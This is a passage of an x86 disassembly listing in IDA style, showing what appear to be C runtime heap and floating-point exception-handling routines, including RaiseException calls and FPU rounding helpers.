loc_41139D:				; CODE XREF: sub_4112C7+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_4113DA
; ---------------------------------------------------------------------------


loc_4113A4:				; CODE XREF: sub_4112C7+B6j
		cmp	eax, edx
		jnb	short loc_4113BB
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_4113E4
		mov	esi, ebx
		jmp	short loc_411362
; ---------------------------------------------------------------------------


loc_4113B4:				; CODE XREF: sub_4112C7+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_411362
; ---------------------------------------------------------------------------


loc_4113BB:				; CODE XREF: sub_4112C7+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_4113CC
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_4113D5
; ---------------------------------------------------------------------------


loc_4113CC:				; CODE XREF: sub_4112C7+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_4113D5:				; CODE XREF: sub_4112C7+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_4113DA:				; CODE XREF: sub_4112C7+40j
					; sub_4112C7+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_4113E6
; ---------------------------------------------------------------------------


loc_4113E4:				; CODE XREF: sub_4112C7+7Ej
					; sub_4112C7+9Dj ...
		xor	eax, eax


loc_4113E6:				; CODE XREF: sub_4112C7+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4112C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113EB	proc near		; CODE XREF: sub_40DB08+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_411425
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_411485
; ---------------------------------------------------------------------------


loc_411425:				; CODE XREF: sub_4113EB+26j
		jnb	short loc_41148C
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41148C
		lea	eax, [ecx+edx]


loc_41143A:				; CODE XREF: sub_4113EB+59j
		cmp	eax, esi
		jnb	short loc_411448
		cmp	byte ptr [eax],	0
		jnz	short loc_411446
		inc	eax
		jmp	short loc_41143A
; ---------------------------------------------------------------------------


loc_411446:				; CODE XREF: sub_4113EB+56j
		cmp	eax, esi


loc_411448:				; CODE XREF: sub_4113EB+51j
		jnz	short loc_41148C
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_411480
		cmp	esi, eax
		jbe	short loc_411480
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_411477
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_411472


loc_41146B:				; CODE XREF: sub_4113EB+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41146B


loc_411472:				; CODE XREF: sub_4113EB+7Ej
		mov	[ebx+4], eax
		jmp	short loc_411480
; ---------------------------------------------------------------------------


loc_411477:				; CODE XREF: sub_4113EB+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_411480:				; CODE XREF: sub_4113EB+68j
					; sub_4113EB+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_411485:				; CODE XREF: sub_4113EB+38j
		mov	[ebp+var_4], 1


loc_41148C:				; CODE XREF: sub_4113EB:loc_411425j
					; sub_4113EB+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4113EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_411494(int,int,double,int)

sub_411494	proc near		; CODE XREF: sub_40CDEA+51p
					; sub_40CF33+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_422610, 0
		jnz	short loc_4114C9
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_411A49
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_411494+Aj
		push	0FFFFh
		mov	dword_481DBC, 21h
		push	[ebp+arg_C]
		call	sub_411CBC
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_411494	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4114E7(int,int,double,double,int)

sub_4114E7	proc near		; CODE XREF: sub_40CDEA:loc_40CEADp
					; sub_40CF33:loc_40CFF6p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_411832
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411525
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41157F
		add	esp, 18h


loc_411525:				; CODE XREF: sub_4114E7+1Aj
		push	[ebp+arg_0]
		call	sub_411B1C
		cmp	dword_422610, 0
		pop	ecx
		jnz	short loc_411563
		test	eax, eax
		jz	short loc_411563
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_411A49
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_411563:				; CODE XREF: sub_4114E7+4Ej
					; sub_4114E7+52j
		push	eax
		call	sub_411AD1
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_411CBC
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4114E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41157F	proc near		; CODE XREF: sub_4114E7+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4115B1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4115B1:				; CODE XREF: sub_41157F+23j
		test	cl, 2
		jz	short loc_4115C4
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4115C4:				; CODE XREF: sub_41157F+35j
		test	cl, bl
		jz	short loc_4115D6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4115D6:				; CODE XREF: sub_41157F+47j
		test	cl, 4
		jz	short loc_4115E9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4115E9:				; CODE XREF: sub_41157F+5Aj
		test	cl, 8
		jz	short loc_4115FC
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4115FC:				; CODE XREF: sub_41157F+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_411C9F
		test	al, bl
		jz	short loc_411685
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_411685:				; CODE XREF: sub_41157F+FDj
		test	al, 4
		jz	short loc_411690
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_411690:				; CODE XREF: sub_41157F+108j
		test	al, 8
		jz	short loc_41169B
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41169B:				; CODE XREF: sub_41157F+113j
		test	al, 10h
		jz	short loc_4116A5
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4116A5:				; CODE XREF: sub_41157F+11Ej
		test	al, 20h
		jz	short loc_4116AF
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4116AF:				; CODE XREF: sub_41157F+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4116EE
		cmp	eax, 400h
		jz	short loc_4116E0
		cmp	eax, 800h
		jz	short loc_4116D4
		cmp	eax, ecx
		jnz	short loc_4116F4
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4116F4
; ---------------------------------------------------------------------------


loc_4116D4:				; CODE XREF: sub_41157F+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4116EA
; ---------------------------------------------------------------------------


loc_4116E0:				; CODE XREF: sub_41157F+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4116EA:				; CODE XREF: sub_41157F+15Fj
		mov	[eax], ecx
		jmp	short loc_4116F4
; ---------------------------------------------------------------------------


loc_4116EE:				; CODE XREF: sub_41157F+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_4116F4:				; CODE XREF: sub_41157F+14Bj
					; sub_41157F+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41171F
		cmp	eax, 200h
		jz	short loc_411712
		cmp	eax, ecx
		jnz	short loc_41172C
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41172C
; ---------------------------------------------------------------------------


loc_411712:				; CODE XREF: sub_41157F+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41172A
; ---------------------------------------------------------------------------


loc_41171F:				; CODE XREF: sub_41157F+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41172A:				; CODE XREF: sub_41157F+19Ej
		mov	[eax], ecx


loc_41172C:				; CODE XREF: sub_41157F+189j
					; sub_41157F+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_411CAD
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_41814C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4117A6
		and	dword ptr [esi], 0FFFFFFFEh


loc_4117A6:				; CODE XREF: sub_41157F+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4117AF
		and	dword ptr [esi], 0FFFFFFFBh


loc_4117AF:				; CODE XREF: sub_41157F+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4117B8
		and	dword ptr [esi], 0FFFFFFF7h


loc_4117B8:				; CODE XREF: sub_41157F+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4117C1
		and	dword ptr [esi], 0FFFFFFEFh


loc_4117C1:				; CODE XREF: sub_41157F+23Dj
		test	[eax+8], bl
		jz	short loc_4117C9
		and	dword ptr [esi], 0FFFFFFDFh


loc_4117C9:				; CODE XREF: sub_41157F+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_4117FD
		dec	ecx
		jz	short loc_4117F1
		dec	ecx
		jz	short loc_4117E7
		dec	ecx
		jnz	short loc_4117FF
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_4117FF
; ---------------------------------------------------------------------------


loc_4117E7:				; CODE XREF: sub_41157F+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_4117F9
; ---------------------------------------------------------------------------


loc_4117F1:				; CODE XREF: sub_41157F+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_4117F9:				; CODE XREF: sub_41157F+270j
		mov	[esi], ecx
		jmp	short loc_4117FF
; ---------------------------------------------------------------------------


loc_4117FD:				; CODE XREF: sub_41157F+257j
		and	[esi], edx


loc_4117FF:				; CODE XREF: sub_41157F+260j
					; sub_41157F+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41181F
		dec	ecx
		jz	short loc_411816
		dec	ecx
		jnz	short loc_411828
		and	[esi], edx
		jmp	short loc_411828
; ---------------------------------------------------------------------------


loc_411816:				; CODE XREF: sub_41157F+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_411826
; ---------------------------------------------------------------------------


loc_41181F:				; CODE XREF: sub_41157F+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_411826:				; CODE XREF: sub_41157F+29Ej
		mov	[esi], ecx


loc_411828:				; CODE XREF: sub_41157F+291j
					; sub_41157F+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41157F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411832	proc near		; CODE XREF: sub_4114E7+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41185D
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41185D
		push	ebx
		call	sub_411CDF
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_411A27
; ---------------------------------------------------------------------------


loc_41185D:				; CODE XREF: sub_411832+15j
					; sub_411832+1Aj
		test	al, 4
		jz	short loc_411877
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_411877
		push	4
		call	sub_411CDF
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_411A27
; ---------------------------------------------------------------------------


loc_411877:				; CODE XREF: sub_411832+2Dj
					; sub_411832+33j
		test	al, bl
		jz	loc_411951
		test	byte ptr [ebp+arg_8], 8
		jz	loc_411951
		push	8
		call	sub_411CDF
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_411929
		cmp	ecx, 400h
		jz	short loc_411901
		cmp	ecx, 800h
		jz	short loc_4118D9
		cmp	ecx, eax
		jnz	loc_411949
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4187A8
		fld	dbl_421DA0
		fnstsw	ax
		sahf
		ja	short loc_4118D1
		fchs


loc_4118D1:				; CODE XREF: sub_411832+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_411947
; ---------------------------------------------------------------------------


loc_4118D9:				; CODE XREF: sub_411832+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4187A8
		fnstsw	ax
		sahf
		jbe	short loc_4118F1
		fld	dbl_421D90
		jmp	short loc_4118F9
; ---------------------------------------------------------------------------


loc_4118F1:				; CODE XREF: sub_411832+B5j
		fld	dbl_421DA0
		fchs


loc_4118F9:				; CODE XREF: sub_411832+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_411947
; ---------------------------------------------------------------------------


loc_411901:				; CODE XREF: sub_411832+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4187A8
		fnstsw	ax
		sahf
		jbe	short loc_411919
		fld	dbl_421DA0
		jmp	short loc_411921
; ---------------------------------------------------------------------------


loc_411919:				; CODE XREF: sub_411832+DDj
		fld	dbl_421D90
		fchs


loc_411921:				; CODE XREF: sub_411832+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_411947
; ---------------------------------------------------------------------------


loc_411929:				; CODE XREF: sub_411832+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4187A8
		fld	dbl_421D90
		fnstsw	ax
		sahf
		ja	short loc_411941
		fchs


loc_411941:				; CODE XREF: sub_411832+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_411947:				; CODE XREF: sub_411832+A5j
					; sub_411832+CDj ...
		fstp	qword ptr [ecx]


loc_411949:				; CODE XREF: sub_411832+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_411A27
; ---------------------------------------------------------------------------


loc_411951:				; CODE XREF: sub_411832+47j
					; sub_411832+51j
		test	al, 2
		jz	loc_411A27
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_411A27
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41196C
		mov	esi, ebx


loc_41196C:				; CODE XREF: sub_411832+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4187A8
		fnstsw	ax
		sahf
		jz	loc_411A15
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_411BDE
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4119B7
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_411A0B
; ---------------------------------------------------------------------------


loc_4119B7:				; CODE XREF: sub_411832+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4187A8
		fnstsw	ax
		sahf
		jnb	short loc_4119C9
		mov	edx, ebx
		jmp	short loc_4119CB
; ---------------------------------------------------------------------------


loc_4119C9:				; CODE XREF: sub_411832+191j
		xor	edx, edx


loc_4119CB:				; CODE XREF: sub_411832+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_4119FF
		sub	eax, ecx


loc_4119E2:				; CODE XREF: sub_411832+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_4119ED
		test	esi, esi
		jnz	short loc_4119ED
		mov	esi, ebx


loc_4119ED:				; CODE XREF: sub_411832+1B3j
					; sub_411832+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_4119F9
		or	byte ptr [ebp+var_C+3],	80h


loc_4119F9:				; CODE XREF: sub_411832+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_4119E2


loc_4119FF:				; CODE XREF: sub_411832+1ACj
		test	edx, edx
		jz	short loc_411A0B
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_411A0B:				; CODE XREF: sub_411832+183j
					; sub_411832+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_411A17
; ---------------------------------------------------------------------------


loc_411A15:				; CODE XREF: sub_411832+14Ej
		mov	esi, ebx


loc_411A17:				; CODE XREF: sub_411832+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_411A24
		push	10h
		call	sub_411CDF
		pop	ecx


loc_411A24:				; CODE XREF: sub_411832+1E8j
		and	edi, 0FFFFFFFDh


loc_411A27:				; CODE XREF: sub_411832+26j
					; sub_411832+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_411A3E
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_411A3E
		push	20h
		call	sub_411CDF
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_411A3E:				; CODE XREF: sub_411832+1F9j
					; sub_411832+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_411832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411A49(int,int,int,int,int,int,double,int)

sub_411A49	proc near		; CODE XREF: sub_411494+2Bp
					; sub_4114E7+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_411AF7
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_411AB4
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_411CBC
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_414C8D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411AAE
		push	esi
		call	sub_411AD1
		pop	ecx


loc_411AAE:				; CODE XREF: sub_411A49+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_411AB4:				; CODE XREF: sub_411A49+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_411CBC
		push	[ebp+arg_0]
		call	sub_411AD1
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_411A49	endp


; =============== S U B	R O U T	I N E =======================================



sub_411AD1	proc near		; CODE XREF: sub_4114E7+7Dp
					; sub_411A49+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_411AEC
		jle	short locret_411AF6
		cmp	eax, 3
		jg	short locret_411AF6
		mov	dword_481DBC, 22h
		retn
; ---------------------------------------------------------------------------


loc_411AEC:				; CODE XREF: sub_411AD1+7j
		mov	dword_481DBC, 21h

locret_411AF6:				; CODE XREF: sub_411AD1+9j
					; sub_411AD1+Ej
		retn
sub_411AD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_411AF7	proc near		; CODE XREF: sub_411A49+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_421CB8


loc_411AFE:				; CODE XREF: sub_411AF7+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_411B14
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_421D90
		jl	short loc_411AFE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411B14:				; CODE XREF: sub_411AF7+Dj
		mov	eax, off_421CBC[ecx*8]
		retn
sub_411AF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_411B1C	proc near		; CODE XREF: sub_4114E7+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_411B28
		push	5
		jmp	short loc_411B3E
; ---------------------------------------------------------------------------


loc_411B28:				; CODE XREF: sub_411B1C+6j
		test	al, 8
		jz	short loc_411B30
		push	1
		jmp	short loc_411B3E
; ---------------------------------------------------------------------------


loc_411B30:				; CODE XREF: sub_411B1C+Ej
		test	al, 4
		jz	short loc_411B38
		push	2
		jmp	short loc_411B3E
; ---------------------------------------------------------------------------


loc_411B38:				; CODE XREF: sub_411B1C+16j
		test	al, 1
		jz	short loc_411B40
		push	3


loc_411B3E:				; CODE XREF: sub_411B1C+Aj
					; sub_411B1C+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_411B40:				; CODE XREF: sub_411B1C+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_411B1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411B49(double)

sub_411B49	proc near		; CODE XREF: sub_40CDEA:loc_40CE70p
					; sub_40CF33:loc_40CFB9p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_411B49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411B5B(double,int)

sub_411B5B	proc near		; CODE XREF: sub_411BDE+82p
					; sub_411BDE+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_411B5B	endp


; =============== S U B	R O U T	I N E =======================================

